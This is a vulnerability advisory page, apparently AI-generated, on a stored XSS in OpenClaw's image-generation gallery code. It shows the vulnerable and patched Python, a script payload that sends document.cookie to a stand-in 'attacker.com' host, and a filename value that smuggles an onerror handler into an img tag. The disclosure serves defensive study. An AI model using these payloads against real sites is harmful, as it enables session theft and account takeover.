CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-2WW6-868G-2C56

CVE-2026-27009: Stored XSS via HTML Injection in OpenClaw Image Generation

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 3, 2026·5 min read·18 visits

Executive Summary (TL;DR)

Unsanitized f-string interpolation in OpenClaw's `gen.py` script allows attackers to inject arbitrary HTML and JavaScript via image prompts. The vulnerability is fixed in commit `f3adf142` by implementing `html.escape()`.

OpenClaw contains a critical Stored Cross-Site Scripting (XSS) vulnerability within its image generation skill. The application fails to sanitize user-supplied prompts and filenames before interpolating them into HTML gallery files. This allows attackers to inject malicious JavaScript execution vectors that trigger when the gallery is viewed, potentially leading to session hijacking or arbitrary code execution in the context of the application dashboard.

Vulnerability Overview

OpenClaw, an AI agent framework, includes a skill named openai-image-gen responsible for generating images based on user prompts and organizing them into HTML galleries. A vulnerability exists in how this component processes metadata associated with generated images.

Specifically, the application generates an index.html file to display the results of the image generation process. It constructs this HTML file by directly embedding the user's prompt and the resulting filename into HTML tags. This process lacks output encoding or sanitization. Consequently, if an attacker provides a prompt containing HTML markup or manipulates the filename parameters, the application writes these malicious payloads directly into the document structure.

The vulnerability is classified as Stored Cross-Site Scripting (XSS). When an administrator or user views the generated gallery, the browser renders the injected markup as active content. This permits the execution of arbitrary JavaScript within the origin of the OpenClaw interface, bypassing the intended security boundaries of the application.

Root Cause Analysis

The root cause of this vulnerability is the use of insecure Python string interpolation (f-strings) to construct HTML content without prior validation or escaping of input variables. The flaw resides in skills/openai-image-gen/scripts/gen.py.

The function write_gallery accepts a list of items, where each item contains a file (path) and a prompt (text). The code iterates through these items and inserts the values directly into an HTML string template. The code assumes that the prompt and file values are safe plain text, but they are derived from user input or external API responses that can be manipulated.

This implementation violates the secure coding principle of separating data from structure. By treating user input as trusted HTML fragments, the application allows characters with special meaning in HTML (such as <, >, ", and ') to alter the document structure. This is a classic instance of CWE-79: Improper Neutralization of Input During Web Page Generation.

Code Analysis

The vulnerability is evident in the write_gallery function within skills/openai-image-gen/scripts/gen.py. The comparison below highlights the unsafe interpolation and the subsequent remediation.

Vulnerable Code (Pre-Patch)

In the vulnerable version, the f-string directly embeds it["file"] and it["prompt"]. If it["prompt"] contains <script>alert(1)</script>, it is written literally into the HTML file.

def write_gallery(out_dir: Path, items: list[dict]) -> None:
    # ...
    thumbs = "\n".join(
        [
            f"""
<figure>
  <a href="{it["file"]}"><img src="{it["file"]}" loading="lazy" /></a>
  <figcaption>{it["prompt"]}</figcaption>
</figure>
""".strip()
            for it in items
        ]
    )
    # ...

Patched Code

The fix introduces the html module and wraps all dynamic inputs with html.escape(). The quote=True parameter ensures that both double and single quotes are encoded, which is essential for attribute contexts (like href and src).

from html import escape as html_escape
 
def write_gallery(out_dir: Path, items: list[dict]) -> None:
    # ...
    thumbs = "\n".join(
        [
            f"""
<figure>
  <!-- Inputs are now escaped before insertion -->
  <a href="{html_escape(it["file"], quote=True)}"><img src="{html_escape(it["file"], quote=True)}" loading="lazy" /></a>
  <figcaption>{html_escape(it["prompt"])}</figcaption>
</figure>
""".strip()
            for it in items
        ]
    )
    # ...

Exploitation Methodology

An attacker can exploit this vulnerability by submitting a crafted request to the OpenClaw agent that triggers the openai-image-gen skill. The attack flow proceeds as follows:

  1. Payload Injection: The attacker provides an image generation prompt designed to break out of the HTML context. A simple payload targeting the <figcaption> element would be:

    <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
  2. Attribute Injection: Alternatively, if the attacker can influence the filename or MIME type metadata, they can inject event handlers into the <img> or <a> tags. For example, controlling the filename to be image.png" onerror="alert(1) would result in:

    <img src="image.png" onerror="alert(1)" ... />
  3. Execution: OpenClaw processes the request, generates the image, and creates the index.html gallery file containing the payload. When a user (administrator) accesses this gallery via the web interface, the browser parses the malformed HTML, executes the injected JavaScript, and compromises the session.

> [!NOTE] > While the primary vector is XSS, sophisticated payloads could leverage this access to perform actions on the underlying host if the OpenClaw interface has bindings to local system commands, potentially escalating to Remote Code Execution (RCE).

Impact Assessment

The primary impact of this vulnerability is the unauthorized execution of arbitrary scripts in the victim's browser (Stored XSS). This compromised context allows an attacker to:

  • Session Hijacking: Exfiltrate session tokens or cookies to takeover user accounts.
  • Privilege Escalation: Perform administrative actions on the OpenClaw instance without the user's consent.
  • Phishing: Modify the page content to present fraudulent login forms or misleading information.

In deployments where the OpenClaw UI is accessed via localhost or a privileged internal network, the impact is magnified. The XSS could serve as a pivot point to attack other internal services or interactions with the underlying OS, aligning with the "Zero-Click RCE" potential noted in security analysis of similar agent frameworks.

Official Patches

OpenClaw (GitHub)Pull Request #24140 addressing the vulnerability
OpenClaw (GitHub)Commit f3adf14: Fix for HTML injection

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

OpenClaw AI FrameworkOpenClaw openai-image-gen skill

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenClaw
OpenClaw
< 2026-02-23 (Commit f3adf14)Commit f3adf14
AttributeDetail
CWE IDCWE-79
Vulnerability TypeStored XSS / HTML Injection
Attack VectorNetwork
Affected Componentopenai-image-gen/scripts/gen.py
CVSS Score6.1 (Estimated)
Patch StatusPatched

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Cross-site Scripting (XSS)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Penligent Security AnalysisStep-by-step guide to Zero-Click RCE and Indirect Injection in OpenClaw

Vulnerability Timeline

Vulnerability disclosed
2026-02-01
Patch committed to OpenClaw repository
2026-02-23

References & Sources

  • [1]GitHub Advisory GHSA-2WW6-868G-2C56
  • [2]SentinelOne Vulnerability Database: CVE-2026-27009

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
38 views•6 min read
•9 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
16 views•5 min read
•10 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•10 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
11 views•6 min read
•10 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
38 views•7 min read
•10 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read